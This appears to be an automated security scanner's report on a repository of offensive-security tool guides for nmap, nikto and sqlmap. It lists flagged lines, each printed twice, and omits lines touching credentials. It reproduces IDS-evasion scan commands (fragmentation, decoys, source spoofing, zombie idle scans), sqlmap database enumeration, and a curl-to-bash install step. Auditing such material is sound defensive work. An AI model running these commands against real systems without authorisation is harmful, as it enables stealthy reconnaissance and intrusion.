  • Dangerous shell operationline 353
    sudo nmap -f <target-ip>
  • Dangerous shell operationline 353
    sudo nmap -f <target-ip>
  • Dangerous shell operationline 356
    sudo nmap -D RND:10 <target-ip>
  • Dangerous shell operationline 356
    sudo nmap -D RND:10 <target-ip>
  • Dangerous shell operationline 357
    sudo nmap -D decoy1,decoy2,ME,decoy3 <target-ip>
  • Dangerous shell operationline 357
    sudo nmap -D decoy1,decoy2,ME,decoy3 <target-ip>
  • Dangerous shell operationline 360
    sudo nmap -S <spoofed-ip> -e <interface> <target-ip>
  • Dangerous shell operationline 360
    sudo nmap -S <spoofed-ip> -e <interface> <target-ip>
  • Network accessline 365
    # Use proxy nmap --proxies http://proxy:8080 <target-ip>
  • Network accessline 365
    # Use proxy nmap --proxies http://proxy:8080 <target-ip>
  • Network accessline 366
    nmap --proxies http://proxy:8080 <target-ip>
  • Network accessline 366
    nmap --proxies http://proxy:8080 <target-ip>
  • Dangerous shell operationline 369
    sudo nmap -sI <zombie-host> <target-ip>
  • Dangerous shell operationline 369
    sudo nmap -sI <zombie-host> <target-ip>
  • Dangerous shell operationline 437
    sudo nmap -O -iL internal_hosts.txt -oA internal_os_detection
  • Dangerous shell operationline 437
    sudo nmap -O -iL internal_hosts.txt -oA internal_os_detection
  • Dangerous shell operationline 598
    sudo nmap -f <target-ip>
  • Dangerous shell operationline 598
    sudo nmap -f <target-ip>
  • Network accessline 631
    - [Nmap Network Scanning Official Guide](https://nmap.org/book/)
  • Network accessline 631
    - [Nmap Network Scanning Official Guide](https://nmap.org/book/)
  • Network accessline 632
    - [NSE Script Documentation](https://nmap.org/nsedoc/)
  • Network accessline 632
    - [NSE Script Documentation](https://nmap.org/nsedoc/)
  • Network accessline 633
    - [MITRE ATT&CK: Network Service Scanning](https://attack.mitre.org/techniques/T1046/)
  • Network accessline 633
    - [MITRE ATT&CK: Network Service Scanning](https://attack.mitre.org/techniques/T1046/)
  • Network accessline 634
    - [PTES Technical Guidelines](http://www.pentest-standard.org/index.php/Intelligence_Gathering)
  • Network accessline 634
    - [PTES Technical Guidelines](http://www.pentest-standard.org/index.php/Intelligence_Gathering)
  • Network accessline 635
    - [OWASP Testing Guide: Information Gathering](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/)
  • Network accessline 635
    - [OWASP Testing Guide: Information Gathering](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/)

skills/offsec/recon-nmap/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/offsec/recon-nmap/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/offsec/recon-nmap/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/offsec/webapp-nikto/SKILL.md

  • Network accessline 17
    tools: [perl] references:   - https://cirt.net/Nikto2
  • Network accessline 17
    tools: [perl] references:   - https://cirt.net/Nikto2
  • Network accessline 18
    references:   - https://cirt.net/Nikto2   - https://github.com/sullo/nikto
  • Network accessline 18
    references:   - https://cirt.net/Nikto2   - https://github.com/sullo/nikto
  • Network accessline 19
    - https://cirt.net/Nikto2
  • Network accessline 19
    - https://cirt.net/Nikto2
  • Network accessline 20
    - https://github.com/sullo/nikto
  • Network accessline 20
    - https://github.com/sullo/nikto
  • Network accessline 21
    - https://owasp.org/www-project-web-security-testing-guide/
  • Network accessline 21
    - https://owasp.org/www-project-web-security-testing-guide/
  • Network accessline 37
    # Scan single host nikto -h http://example.com
  • Network accessline 37
    # Scan single host nikto -h http://example.com
  • Network accessline 38
    nikto -h http://example.com
  • Network accessline 38
    nikto -h http://example.com
  • Network accessline 40
    # Scan with SSL nikto -h https://example.com
  • Network accessline 40
    # Scan with SSL nikto -h https://example.com
  • Network accessline 41
    nikto -h https://example.com
  • Network accessline 41
    nikto -h https://example.com
  • Network accessline 80
    # Standard scan nikto -h http://example.com
  • Network accessline 80
    # Standard scan nikto -h http://example.com
  • Network accessline 81
    nikto -h http://example.com
  • Network accessline 81
    nikto -h http://example.com
  • Network accessline 83
    # Scan with specific User-Agent nikto -h http://example.com -useragent "Mozilla/5.0..."
  • Network accessline 83
    # Scan with specific User-Agent nikto -h http://example.com -useragent "Mozilla/5.0..."
  • Network accessline 84
    nikto -h http://example.com -useragent "Mozilla/5.0..."
  • Network accessline 84
    nikto -h http://example.com -useragent "Mozilla/5.0..."
  • Network accessline 86
    # Scan through proxy nikto -h http://example.com -useproxy http://proxy:8080
  • Network accessline 86
    # Scan through proxy nikto -h http://example.com -useproxy http://proxy:8080
  • Network accessline 87
    nikto -h http://example.com -useproxy http://proxy:8080
  • Network accessline 87
    nikto -h http://example.com -useproxy http://proxy:8080
  • Network accessline 89
    # Scan with authentication nikto -h http://example.com -id username:password
  • Network accessline 89
    # Scan with authentication nikto -h http://example.com -id username:password
  • Network accessline 90
    nikto -h http://example.com -id username:password
  • Network accessline 90
    nikto -h http://example.com -id username:password
  • Network accessline 92
    # SSL/TLS scan nikto -h https://example.com -ssl
  • Network accessline 92
    # SSL/TLS scan nikto -h https://example.com -ssl
  • Network accessline 93
    nikto -h https://example.com -ssl
  • Network accessline 93
    nikto -h https://example.com -ssl
  • Network accessline 104
    # Specify tuning options nikto -h http://example.com -Tuning 123bde
  • Network accessline 104
    # Specify tuning options nikto -h http://example.com -Tuning 123bde
  • Network accessline 105
    nikto -h http://example.com -Tuning 123bde
  • Network accessline 105
    nikto -h http://example.com -Tuning 123bde
  • Network accessline 107
    # Enable all checks (very comprehensive) nikto -h http://example.com -Tuning x
  • Network accessline 107
    # Enable all checks (very comprehensive) nikto -h http://example.com -Tuning x
  • Network accessline 108
    nikto -h http://example.com -Tuning x
  • Network accessline 108
    nikto -h http://example.com -Tuning x
  • Network accessline 113
    # Limit to specific checks nikto -h http://example.com -Plugins "apache_expect_xss"
  • Network accessline 113
    # Limit to specific checks nikto -h http://example.com -Plugins "apache_expect_xss"
  • Network accessline 114
    nikto -h http://example.com -Plugins "apache_expect_xss"
  • Network accessline 114
    nikto -h http://example.com -Plugins "apache_expect_xss"
  • Network accessline 146
    # Output to text file nikto -h http://example.com -o results.txt
  • Network accessline 146
    # Output to text file nikto -h http://example.com -o results.txt
  • Network accessline 147
    nikto -h http://example.com -o results.txt
  • Network accessline 147
    nikto -h http://example.com -o results.txt
  • Network accessline 149
    # Output to HTML report nikto -h http://example.com -o results.html -Format html
  • Network accessline 149
    # Output to HTML report nikto -h http://example.com -o results.html -Format html
  • Network accessline 150
    nikto -h http://example.com -o results.html -Format html
  • Network accessline 150
    nikto -h http://example.com -o results.html -Format html
  • Network accessline 152
    # Output to CSV nikto -h http://example.com -o results.csv -Format csv
  • Network accessline 152
    # Output to CSV nikto -h http://example.com -o results.csv -Format csv
  • Network accessline 153
    nikto -h http://example.com -o results.csv -Format csv
  • Network accessline 153
    nikto -h http://example.com -o results.csv -Format csv
  • Network accessline 155
    # Output to XML nikto -h http://example.com -o results.xml -Format xml
  • Network accessline 155
    # Output to XML nikto -h http://example.com -o results.xml -Format xml
  • Network accessline 156
    nikto -h http://example.com -o results.xml -Format xml
  • Network accessline 156
    nikto -h http://example.com -o results.xml -Format xml
  • Network accessline 158
    # Multiple output formats nikto -h http://example.com -o results.txt -Format txt -o results.html -Format html
  • Network accessline 158
    # Multiple output formats nikto -h http://example.com -o results.txt -Format txt -o results.html -Format html
  • Network accessline 159
    nikto -h http://example.com -o results.txt -Format txt -o results.html -Format html
  • Network accessline 159
    nikto -h http://example.com -o results.txt -Format txt -o results.html -Format html
  • Network accessline 167
    # Increase timeout (default 10 seconds) nikto -h http://example.com -timeout 20
  • Network accessline 167
    # Increase timeout (default 10 seconds) nikto -h http://example.com -timeout 20
  • Network accessline 168
    nikto -h http://example.com -timeout 20
  • Network accessline 168
    nikto -h http://example.com -timeout 20
  • Network accessline 170
    # Limit maximum execution time nikto -h http://example.com -maxtime 30m
  • Network accessline 170
    # Limit maximum execution time nikto -h http://example.com -maxtime 30m
  • Network accessline 171
    nikto -h http://example.com -maxtime 30m
  • Network accessline 171
    nikto -h http://example.com -maxtime 30m
  • Network accessline 173
    # Use specific HTTP version nikto -h http://example.com -vhost example.com
  • Network accessline 173
    # Use specific HTTP version nikto -h http://example.com -vhost example.com
  • Network accessline 174
    nikto -h http://example.com -vhost example.com
  • Network accessline 174
    nikto -h http://example.com -vhost example.com
  • Network accessline 176
    # Follow redirects nikto -h http://example.com -followredirects
  • Network accessline 176
    # Follow redirects nikto -h http://example.com -followredirects
  • Network accessline 177
    nikto -h http://example.com -followredirects
  • Network accessline 177
    nikto -h http://example.com -followredirects
  • Network accessline 179
    # Disable 404 guessing nikto -h http://example.com -no404
  • Network accessline 179
    # Disable 404 guessing nikto -h http://example.com -no404
  • Network accessline 180
    nikto -h http://example.com -no404
  • Network accessline 180
    nikto -h http://example.com -no404
  • Network accessline 182
    # Pause between tests nikto -h http://example.com -Pause 2
  • Network accessline 182
    # Pause between tests nikto -h http://example.com -Pause 2
  • Network accessline 183
    nikto -h http://example.com -Pause 2
  • Network accessline 183
    nikto -h http://example.com -Pause 2
  • Network accessline 191
    # Use random User-Agent strings nikto -h http://example.com -useragent random
  • Network accessline 191
    # Use random User-Agent strings nikto -h http://example.com -useragent random
  • Network accessline 192
    nikto -h http://example.com -useragent random
  • Network accessline 192
    nikto -h http://example.com -useragent random
  • Network accessline 194
    # Inject random data in requests nikto -h http://example.com -evasion 1
  • Network accessline 194
    # Inject random data in requests nikto -h http://example.com -evasion 1
  • Network accessline 195
    nikto -h http://example.com -evasion 1
  • Network accessline 195
    nikto -h http://example.com -evasion 1
  • Network accessline 197
    # Use IDS evasion techniques nikto -h http://example.com -evasion 12345678
  • Network accessline 197
    # Use IDS evasion techniques nikto -h http://example.com -evasion 12345678
  • Network accessline 198
    nikto -h http://example.com -evasion 12345678
  • Network accessline 198
    nikto -h http://example.com -evasion 12345678
  • Network accessline 200
    # Pause between requests nikto -h http://example.com -Pause 5
  • Network accessline 200
    # Pause between requests nikto -h http://example.com -Pause 5
  • Network accessline 201
    nikto -h http://example.com -Pause 5
  • Network accessline 201
    nikto -h http://example.com -Pause 5
  • Network accessline 203
    # Use session cookies nikto -h http://example.com -cookies "session=abc123"
  • Network accessline 203
    # Use session cookies nikto -h http://example.com -cookies "session=abc123"
  • Network accessline 204
    nikto -h http://example.com -cookies "session=abc123"
  • Network accessline 204
    nikto -h http://example.com -cookies "session=abc123"
  • Network accessline 259
    # Scan external web servers for host in web1.example.com web2.example.com; do   nikto -h https://$host -o nikto_${host}.html -Format html
  • Network accessline 259
    # Scan external web servers for host in web1.example.com web2.example.com; do   nikto -h https://$host -o nikto_${host}.html -Format html
  • Network accessline 260
    for host in web1.example.com web2.example.com; do   nikto -h https://$host -o nikto_${host}.html -Format html done
  • Network accessline 260
    for host in web1.example.com web2.example.com; do   nikto -h https://$host -o nikto_${host}.html -Format html done
  • Network accessline 261
    nikto -h https://$host -o nikto_${host}.html -Format html
  • Network accessline 261
    nikto -h https://$host -o nikto_${host}.html -Format html
  • Network accessline 271
    # Comprehensive internal scan nikto -h http://intranet.local \
  • Network accessline 271
    # Comprehensive internal scan nikto -h http://intranet.local \
  • Network accessline 272
    nikto -h http://intranet.local \
  • Network accessline 272
    nikto -h http://intranet.local \
  • Network accessline 282
    # SSL-specific testing nikto -h https://example.com \
  • Network accessline 282
    # SSL-specific testing nikto -h https://example.com \
  • Network accessline 283
    nikto -h https://example.com \
  • Network accessline 283
    nikto -h https://example.com \
  • Network accessline 292
    # Scan with authentication nikto -h http://example.com \
  • Network accessline 292
    # Scan with authentication nikto -h http://example.com \
  • Network accessline 293
    nikto -h http://example.com \
  • Network accessline 293
    nikto -h http://example.com \
  • Network accessline 303
    # Create host file cat > web_servers.txt <<EOF http://web1.example.com
  • Network accessline 303
    # Create host file cat > web_servers.txt <<EOF http://web1.example.com
  • Network accessline 304
    cat > web_servers.txt <<EOF http://web1.example.com https://web2.example.com:8443
  • Network accessline 304
    cat > web_servers.txt <<EOF http://web1.example.com https://web2.example.com:8443
  • Network accessline 305
    http://web1.example.com
  • Network accessline 305
    http://web1.example.com
  • Network accessline 306
    https://web2.example.com:8443
  • Network accessline 306
    https://web2.example.com:8443
  • Network accessline 307
    http://web3.example.com:8080
  • Network accessline 307
    http://web3.example.com:8080
  • Network accessline 346
    # Export findings to JSON for SIEM nikto -h http://example.com -o findings.xml -Format xml
  • Network accessline 346
    # Export findings to JSON for SIEM nikto -h http://example.com -o findings.xml -Format xml
  • Network accessline 347
    nikto -h http://example.com -o findings.xml -Format xml
  • Network accessline 347
    nikto -h http://example.com -o findings.xml -Format xml
  • Network accessline 360
    # Limit scan duration nikto -h http://example.com -maxtime 15m
  • Network accessline 360
    # Limit scan duration nikto -h http://example.com -maxtime 15m
  • Network accessline 361
    nikto -h http://example.com -maxtime 15m
  • Network accessline 361
    nikto -h http://example.com -maxtime 15m
  • Network accessline 363
    # Reduce tuning scope nikto -h http://example.com -Tuning 123
  • Network accessline 363
    # Reduce tuning scope nikto -h http://example.com -Tuning 123
  • Network accessline 364
    nikto -h http://example.com -Tuning 123
  • Network accessline 364
    nikto -h http://example.com -Tuning 123
  • Network accessline 366
    # Disable 404 checking nikto -h http://example.com -no404
  • Network accessline 366
    # Disable 404 checking nikto -h http://example.com -no404
  • Network accessline 367
    nikto -h http://example.com -no404
  • Network accessline 367
    nikto -h http://example.com -no404
  • Network accessline 377
    # Ignore SSL certificate errors nikto -h https://example.com -ssl -nossl
  • Network accessline 377
    # Ignore SSL certificate errors nikto -h https://example.com -ssl -nossl
  • Network accessline 378
    nikto -h https://example.com -ssl -nossl
  • Network accessline 378
    nikto -h https://example.com -ssl -nossl
  • Network accessline 380
    # Specify SSL version nikto -h https://example.com -ssl
  • Network accessline 380
    # Specify SSL version nikto -h https://example.com -ssl
  • Network accessline 381
    nikto -h https://example.com -ssl
  • Network accessline 381
    nikto -h https://example.com -ssl
  • Network accessline 396
    # Use evasion techniques nikto -h http://example.com -evasion 1234567
  • Network accessline 396
    # Use evasion techniques nikto -h http://example.com -evasion 1234567
  • Network accessline 397
    nikto -h http://example.com -evasion 1234567
  • Network accessline 397
    nikto -h http://example.com -evasion 1234567
  • Network accessline 399
    # Add delays nikto -h http://example.com -Pause 10
  • Network accessline 399
    # Add delays nikto -h http://example.com -Pause 10
  • Network accessline 400
    nikto -h http://example.com -Pause 10
  • Network accessline 400
    nikto -h http://example.com -Pause 10
  • Network accessline 402
    # Use custom User-Agent nikto -h http://example.com -useragent "legitimate-browser-string"
  • Network accessline 402
    # Use custom User-Agent nikto -h http://example.com -useragent "legitimate-browser-string"
  • Network accessline 403
    nikto -h http://example.com -useragent "legitimate-browser-string"
  • Network accessline 403
    nikto -h http://example.com -useragent "legitimate-browser-string"
  • Network accessline 438
    - [Nikto Official Documentation](https://cirt.net/Nikto2)
  • Network accessline 438
    - [Nikto Official Documentation](https://cirt.net/Nikto2)
  • Network accessline 439
    - [Nikto GitHub Repository](https://github.com/sullo/nikto)
  • Network accessline 439
    - [Nikto GitHub Repository](https://github.com/sullo/nikto)
  • Network accessline 440
    - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
  • Network accessline 440
    - [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
  • Network accessline 441
    - [NIST SP 800-115: Technical Security Testing](https://csrc.nist.gov/publications/detail/sp/800-115/final)
  • Network accessline 441
    - [NIST SP 800-115: Technical Security Testing](https://csrc.nist.gov/publications/detail/sp/800-115/final)
  • Network accessline 442
    - [CIS Web Server Benchmarks](https://www.cisecurity.org/cis-benchmarks/)
  • Network accessline 442
    - [CIS Web Server Benchmarks](https://www.cisecurity.org/cis-benchmarks/)

skills/offsec/webapp-nikto/assets/ci-config-template.yml

  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 238
    if: hashFiles('**/*.tf') != ''         run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Network accessline 239
    run: |           curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash           tfsec . \
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Dangerous shell operationline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash
  • Network accessline 240
    curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash

skills/offsec/webapp-nikto/assets/rule-template.yaml

  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 41
    # References       references:         - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 42
    references:         - "https://owasp.org/www-community/attacks/SQL_Injection"         - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 43
    - "https://owasp.org/www-community/attacks/SQL_Injection"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 44
    - "https://cwe.mitre.org/data/definitions/89.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 45
    - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 73
    See: https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 117
    references:         - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 118
    - "https://cwe.mitre.org/data/definitions/798.html"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Network accessline 119
    - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password"
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 132
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Network accessline 151
    See: https://cwe.mitre.org/data/definitions/798.html
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 156
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 157
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 190
    references:         - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 191
    - "https://owasp.org/www-community/attacks/xss/"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 192
    - "https://cwe.mitre.org/data/definitions/79.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 193
    - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html"
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 217
    See: https://owasp.org/www-community/attacks/xss/
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 259
    references:         - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 260
    - "https://cwe.mitre.org/data/definitions/327.html"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 261
    - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/"
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html
  • Network accessline 288
    See: https://cwe.mitre.org/data/definitions/327.html

skills/offsec/webapp-nikto/references/EXAMPLE.md

  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 423
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 424
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 425
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 427
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 430
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 432
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 437
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]
  • Access to secretsline 444
    [Credential-related source omitted]

skills/offsec/webapp-sqlmap/SKILL.md

  • Network accessline 15
    packages: [sqlmap, python3] references:   - https://sqlmap.org/
  • Network accessline 15
    packages: [sqlmap, python3] references:   - https://sqlmap.org/
  • Network accessline 16
    references:   - https://sqlmap.org/   - https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 16
    references:   - https://sqlmap.org/   - https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 17
    - https://sqlmap.org/
  • Network accessline 17
    - https://sqlmap.org/
  • Network accessline 18
    - https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 18
    - https://owasp.org/www-community/attacks/SQL_Injection
  • Network accessline 19
    - https://cwe.mitre.org/data/definitions/89.html
  • Network accessline 19
    - https://cwe.mitre.org/data/definitions/89.html
  • Network accessline 35
    # Test single parameter sqlmap -u "http://example.com/page?id=1"
  • Network accessline 35
    # Test single parameter sqlmap -u "http://example.com/page?id=1"
  • Network accessline 36
    sqlmap -u "http://example.com/page?id=1"
  • Network accessline 36
    sqlmap -u "http://example.com/page?id=1"
  • Network accessline 38
    [Credential-related source omitted]
  • Network accessline 38
    [Credential-related source omitted]
  • Network accessline 39
    [Credential-related source omitted]
  • Network accessline 39
    [Credential-related source omitted]
  • Network accessline 44
    # Detect and enumerate databases sqlmap -u "http://example.com/page?id=1" --dbs
  • Network accessline 44
    # Detect and enumerate databases sqlmap -u "http://example.com/page?id=1" --dbs
  • Network accessline 45
    sqlmap -u "http://example.com/page?id=1" --dbs
  • Network accessline 45
    sqlmap -u "http://example.com/page?id=1" --dbs
  • Network accessline 79
    # Single URL with parameter sqlmap -u "http://example.com/product?id=1"
  • Network accessline 79
    # Single URL with parameter sqlmap -u "http://example.com/product?id=1"
  • Network accessline 80
    sqlmap -u "http://example.com/product?id=1"
  • Network accessline 80
